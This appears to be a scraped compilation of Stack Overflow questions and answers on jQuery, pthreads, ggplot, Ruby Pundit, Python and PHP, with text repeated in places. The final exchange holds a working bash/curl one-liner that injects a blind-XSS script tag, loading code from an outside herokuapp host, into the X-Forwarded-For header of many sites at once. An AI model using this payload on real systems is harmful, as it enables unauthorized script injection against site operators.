        $('#' + idElement + ' select>option:not([selected])').prop('disabled',true);

        // and, on the selected ones, to disable mouse/keyoard events and mimic readOnly appearance
        $('#' + idElement + ' input[type="checkbox"]:checked').prop('tabindex','-1').css('pointer-events','none').css('opacity','0.5');
        $('#' + idElement + ' input[type="radio"]:checked').css('opacity','0.5');
        $('#' + idElement + ' select').css('background-color','#eee');
    }

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

And there's nothing easier than to remove these readonly

removeReadOnlyFromFormElements = function (idElement) {

    // just remove the html readonly on textarea and input
    $('#' + idElement + ' textarea, #' + idElement + ' input').prop('readonly',false);

    // and restore their Objects, as I.E, datepicker
    $('#' + idElement + ' input[name*="Date"]').datepicker();

    // Remove the disabled attribut on non-selected
    $('#' + idElement + ' input[type="checkbox"]:not(:checked), #' + idElement + ' input[type="radio"]:not(:checked)').prop('disabled',false);
    $('#' + idElement + ' select>option:not([selected])').prop('disabled',false);

    // Restore mouse/keyboard events and remove readOnly appearance on selected ones
    $('#' + idElement + ' input[type="checkbox"]:checked').prop('tabindex','').css('pointer-events','').css('opacity','');
    $('#' + idElement + ' input[type="radio"]:checked').css('opacity','');
    $('#' + idElement + ' select').css('background-color','');
}

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>


问:
How to make a thread wait for multiple conditional signals from different threads?
Does the pthread library (in C/C++) have a function like pthread_cond_wait(&cond, &mutex) that can wait for conditional signals (such as pthread_cond_signal(&cond1), pthread_cond_signal(&cond2) and so on...) from multiple different threads?

If this is not possible, then what is the most effective way to implement this strategy?

答:
Does the pthread library (in C/C++) have a function like pthread_cond_wait(&cond, &mutex) that can wait for conditional signals (such as pthread_cond_signal(&cond1), pthread_cond_signal(&cond2) and so on...) from multiple different threads?

What you're describing is not about different threads -- pthread_cond_wait() / pthread_cond_signal() already handle that just fine, as indeed they need to do to serve their intended purpose.  If a given thread is waiting on condition variable cond1 then it can be awakened by any thread that signals or broadcasts to cond1.  And ultimately, that may be the direction you want to go.

But what you actually asked about is whether a thread can block on multiple condition variables at the same time, and no, pthreads makes no provision for that.  Nor would that make sense for the usage model for which condition variables are designed.

I suspect that you are looking at CV waiting / signaling as purely a notification mechanism, but this is altogether the wrong view.  A thread uses a condition variable to suspend execution until another thread performs work that causes some condition to be satisfied (otherwise, why wait at all)?  That's normally a condition that can be evaluated based on data protected by the associated mutex, so that the prospective waiting thread can

avoid data races involving the data in question (by locking the mutex at the beginning, before accessing them, and relying on other threads to do the same);

be assured (because it holds the mutex locked) that the condition will not change unexpectedly after it is evaluated;

avoid waiting at all when the condition is already satisfied;

verify when it resumes from waiting that the condition in fact is satisfied (MANDATORY).

When the condition indeed is satisfied, the thread moves on with whatever action it wanted to perform that required the condition to be satisfied.  That's important.  The thread waited to be able to perform a specific thing, so what does it matter if the conditions are then right for performing some other thing, too?  And if it wants to perform that other thing next, then it can do it without waiting if the conditions for that still hold.

On the side of the signal sender, you should not think about it as notifying a specific thread.  Instead, it is announcing to any thread that cares that something it is presently interested in may have changed.

I appreciate that this is all fairly abstract.  Multithreaded programming is challenging.  But this is why students are given exercises such as producer / consumer problems or the Dining Philosophers problem.  Learn and apply the correct idioms for CV usage.  Think about what they are achieving for you.  It will become clearer in time.


问:
ggplot: scale_color_steps()-like color scale for ordered factors
With scale_color_steps() we can set from what to what color we want the scale to evolve by setting the low and the high argument. An example:

```<code>df <- data.frame(x= rnorm(99), y= rnorm(99), col= rnorm(99))
ggplot(df, aes(x, y, col= col)) +
  geom_point() +
  scale_color_steps(low= "blue", high= "red")
</code>```

This works for continuous col variables but I want to achieve the same for ordered factors, i.e. I want to set that the lowest color of my lowest factor level is col1 (for example blue) and the highest col2 (for example red). Is this possible?

What I've tried: I recently asked a question about color scales and got an incredible answer. Unfortunately, what I want to do seems to be not part of the 2*22 ggplot2 color scaling functions. So I guess I need some hacky solution? So far I simply use as.numeric for the ordered factor...

```<code>df <- data.frame(x= rnorm(99), y= rnorm(99), col= ordered(factor(rep(c("small", "middle", "high"), 3))))
ggplot(df, aes(x, y, col= as.numeric(col))) +
  geom_point() +
  scale_color_steps(low= "blue", high= "red")
</code>```

... but the problem is that (i) the factor levels are missing in the legend (obviously) and (ii) there are more color steps in the legend then factor levels but I want them to be the same. Can we fix both with the approach above or is there another way to do it?

答:
This is one way to do it, though it feels a bit hacky. I'd be interested to see if there's a cleaner solution.

ggplot(df, aes(x, y, col = col)) +
  geom_point(aes(fill = col), key_glyph = draw_key_rect) +
  scale_color_manual(values = colorRampPalette(c("red", "blue"))(3)) +
  scale_fill_manual(values = colorRampPalette(c("red", "blue"))(3))
```
<p><img src="https://i.stack.imgur.com/IoBae.png" alt="enter image description here" /></p>
<hr />
<p><strong>Addendum</strong></p>
<p>This version is a bit less hacky (in that you don't need to forge the guides and still use <code>scale_color_steps</code>), but it's still somewhat involved:</p>
<pre class="lang-r prettyprint-override"><code>ggplot(df, aes(x, y, col = as.numeric(col))) +
  geom_point() +
  scale_color_steps(low = "blue", high = "red",
                    breaks = seq(nlevels(df$col)),
                    limits = c(0, nlevels(df$col) + 1),
                    labels = rev(levels(df$col)), name = "col")
</code>```

Body:
With scale_color_steps() we can set from what to what color we want the scale to evolve by setting the low and the high argument. An example:

df <- data.frame(x= rnorm(99), y= rnorm(99), col= rnorm(99))
ggplot(df, aes(x, y, col= col)) +
  geom_point() +
  scale_color_steps(low= "blue", high= "red")

This works for continuous col variables but I want to achieve the same for ordered factors, i.e. I want to set that the lowest color of my lowest factor level is col1 (for example blue) and the highest col2 (for example red). Is this possible?

What I've tried: I recently asked a question about color scales and got an incredible answer. Unfortunately, what I want to do seems to be not part of the 2*22 ggplot2 color scaling functions. So I guess I need some hacky solution? So far I simply use as.numeric for the ordered factor...

df <- data.frame(x= rnorm(99), y= rnorm(99), col= ordered(factor(rep(c("small", "middle", "high"), 3))))
ggplot(df, aes(x, y, col= as.numeric(col))) +
  geom_point() +
  scale_color_steps(low= "blue", high= "red")

... but the problem is that (i) the factor levels are missing in the legend (obviously) and (ii) there are more color steps in the legend then factor levels but I want them to be the same. Can we fix both with the approach above or is there another way to do it?

Body:
This is one way to do it, though it feels a bit hacky. I'd be interested to see if there's a cleaner solution.

ggplot(df, aes(x, y, col = col)) +
  geom_point(aes(fill = col), key_glyph = draw_key_rect) +
  scale_color_manual(values = colorRampPalette(c("red", "blue"))(3)) +
  scale_fill_manual(values = colorRampPalette(c("red", "blue"))(3))

Addendum

This version is a bit less hacky (in that you don't need to forge the guides and still use scale_color_steps), but it's still somewhat involved:

ggplot(df, aes(x, y, col = as.numeric(col))) +
  geom_point() +
  scale_color_steps(low = "blue", high = "red",
                    breaks = seq(nlevels(df$col)),
                    limits = c(0, nlevels(df$col) + 1),
                    labels = rev(levels(df$col)), name = "col")


问:
In Ruby, can you decide from a main method to return or continue when calling a submethod?
I'm using Pundit gem for my authorization classes, where each controller action is checked against the model policy, to see if action is allowed by the user.

These methods are sometimes becoming quite bloated and unreadable, because I'm checking quite some stuff for some objects.

Now I'm thinking to refactor those methods, and place every "validation" in it's own method:

Previous:

```<code>class PostPolicy < ApplicationPolicy

 def update
   return true if @user.has_role? :admin
   return true if @object.owner == user
   return true if 'some other reason'

   false
 end
end
</code>```

Now ideally, I want to refactor this in something like:

```<code>class PostPolicy < ApplicationPolicy

 def update
   allow_if_user_is_admin
   allow_if_user_owns_record
   allow_for_some_other_reason

   false
 end

 private

 def allow_if_user_is_admin
  # this would go in the parent class, as the logic is the same for other objects
  return true if @user.has_role? :admin
 end
end
</code>```

The problem now is, that the mane update method will keep on going, even if the user is admin, as there's no return. If I would inlcude a return, then the other methods will never be evalutaed. Is there a way in ruby to do kind of a "superreturn", so that when the user is an admin, the main update method would stop evaluting?

Thanks!

答:
You can short-circuit boolean syntax, there me be cases where long chaining would look like bad style, here's an alternative, but basically same idea using Enumerable#all?  See this answer for how it short-circuits

class PostPolicy < ApplicationPolicy

  def update
    deny?
  end

  private

  def deny?
    [
      user_is_admin?,
      user_owns_record,
      allow_for_some_other_reason?,
      thing1?,
      thing2?
    ].any?
  end

  def user_is_admin?
    @user.has_role? :admin
  end

  def user_owns_record?
   @user.owns_record?
  end

  def allow_for_some_other_reason?
    @user.has_cheezebuerger?
  end

  def thing1?
    @user.thing1
  end

  def thing2?
    @user.thing2
  end
end
```

Body:
I'm using Pundit gem for my authorization classes, where each controller action is checked against the model policy, to see if action is allowed by the user.

These methods are sometimes becoming quite bloated and unreadable, because I'm checking quite some stuff for some objects.

Now I'm thinking to refactor those methods, and place every "validation" in it's own method:

Previous:

class PostPolicy < ApplicationPolicy

 def update
   return true if @user.has_role? :admin
   return true if @object.owner == user
   return true if 'some other reason'

   false
 end
end

Now ideally, I want to refactor this in something like:

class PostPolicy < ApplicationPolicy

 def update
   allow_if_user_is_admin
   allow_if_user_owns_record
   allow_for_some_other_reason

   false
 end

 private

 def allow_if_user_is_admin
  # this would go in the parent class, as the logic is the same for other objects
  return true if @user.has_role? :admin
 end
end

The problem now is, that the mane update method will keep on going, even if the user is admin, as there's no return. If I would inlcude a return, then the other methods will never be evalutaed. Is there a way in ruby to do kind of a "superreturn", so that when the user is an admin, the main update method would stop evaluting?

Thanks!


问:
Find the length of the longest list that a contains a certain character in another list
I have a list [[1],[2,3],[a, b, c], [1, a, b, 3]]
I need to find the longest list that contains the char a.
I have the code to find the lenght of the longest list, but can't implement the search for the a char:

```<code>def find_max_list(list):
    list_len = [len(i) for i in list]
    print(max(list_len))

find_max_list(your_list)
</code>```

答:
Try this:

```<code>def find_max_list(lst):
    lst_len = max(('a' in x, len(x)) for x in lst)
    print(lst_len)
</code>```

This piece of code creates a list of tuples where the first element is True or False (depending on 'a' being present or not in the list) and the second element is just the length of a list. Then you calculate the max, keeping in mind that False < True, and that first elements are evaluated first.

An alternative approach is to filter out those lists not containing 'a':

```<code>def find_max_list(lst):
    lst_len = max(len(x) for x in lst if 'a' in x)
    print(lst_len)
</code>```

Body:
I have a list [[1],[2,3],[a, b, c], [1, a, b, 3]]
I need to find the longest list that contains the char a.
I have the code to find the lenght of the longest list, but can't implement the search for the a char:

def find_max_list(list):
    list_len = [len(i) for i in list]
    print(max(list_len))

find_max_list(your_list)

Body:
Try this:

def find_max_list(lst):
    lst_len = max(('a' in x, len(x)) for x in lst)
    print(lst_len)

This piece of code creates a list of tuples where the first element is True or False (depending on 'a' being present or not in the list) and the second element is just the length of a list. Then you calculate the max, keeping in mind that False < True, and that first elements are evaluated first.

An alternative approach is to filter out those lists not containing 'a':

def find_max_list(lst):
    lst_len = max(len(x) for x in lst if 'a' in x)
    print(lst_len)


问:
Append an input's value in included form..PHP
I have several landing pages and the only difference in them is a hidden input's (referred_by_text) value. I would like to just make one form and include it in all the landing pages....how would I go about setting the value for the input on each landing page for that value?

In the landing page this:

```<code><?php include("includes/lp_form.php");?>
</code>```

In the included form:

```<code><input type="hidden" name="referred_by_text" value="" />
</code>```

I would like to set the value for "referred_by_text" in each landing page...not sure where to start, any help is much appreciated. Would it be best to do it as an variable or possibly in JS?

答:
Alter "includes/lp_form.php" to expect a variable for the "referred_by_text" value:

```<code><input type="hidden" name="referred_by_text" value="<?php echo $referred_by_text; ?>" />
</code>```

Then set the value in your page-specific script before including "includes/lp_form.php"

```<code>$referred_by_text = 't2w'; // Or other dynamic value, as needed

include "includes/lp_form.php";
</code>```

Body:
I have several landing pages and the only difference in them is a hidden input's (referred_by_text) value. I would like to just make one form and include it in all the landing pages....how would I go about setting the value for the input on each landing page for that value?

In the landing page this:

<?php include("includes/lp_form.php");?>

In the included form:

<input type="hidden" name="referred_by_text" value="" />

I would like to set the value for "referred_by_text" in each landing page...not sure where to start, any help is much appreciated. Would it be best to do it as an variable or possibly in JS?

Body:
Alter "includes/lp_form.php" to expect a variable for the "referred_by_text" value:

<input type="hidden" name="referred_by_text" value="<?php echo $referred_by_text; ?>" />

Then set the value in your page-specific script before including "includes/lp_form.php"

$referred_by_text = 't2w'; // Or other dynamic value, as needed

include "includes/lp_form.php";


问:
Curl escape characters variable
I have this variable a:

```<code>a=`echo "$0" | cut -d "/" -f 3`
</code>```

This converts: https://example.com to example.com

Then, I want to use it inside curl:

```<code>cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "$0" | cut -d "/" -f 3`;  echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "$0/$a" -H "X-Forwarded-For: <script src='https://securitytestXXX.herokuapp.com/$a'></script>" -m 4 1>/dev/null'
</code>```

and the first $a, which corresponds with this $0/$a is working fine,

but this part: -H "X-Forwarded-For: " is not working, the $a is just not working.

I have also tried -H "X-Forwarded-For: " and doesn't work either.

Regards!

答:
I figured it out:

```<code>cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "$0" | cut -d "/" -f 3`;  echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "$0/$a" -H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/\$a'></script>" -m 4 1>/dev/null'
</code>```

I had to escape the dollar sign:

-H "X-Forwarded-For:

Thanks

Title: Curl escape characters variable

Body:
I have this variable a:

a=`echo "$0" | cut -d "/" -f 3`

This converts: https://example.com to example.com

Then, I want to use it inside curl:

cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "$0" | cut -d "/" -f 3`;  echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "$0/$a" -H "X-Forwarded-For: " -m 4 1>/dev/null'

and the first $a, which corresponds with this $0/$a is working fine,

but this part: -H "X-Forwarded-For: " is not working, the $a is just not working.

I have also tried -H "X-Forwarded-For: " and doesn't work either.

Regards!

Body:
I figured it out:

cat websatt.txt | xargs -n1 -P8 bash -c 'a=`echo "$0" | cut -d "/" -f 3`;  echo $a;curl --path-as-is -ks -x http://127.0.0.1:8080 -A "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" "$0/$a" -H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/\$a'></script>" -m 4 1>/dev/null'

I had to escape the dollar sign:

-H "X-Forwarded-For: <script src='https://securitytest090.herokuapp.com/\$a'></script>

Thanks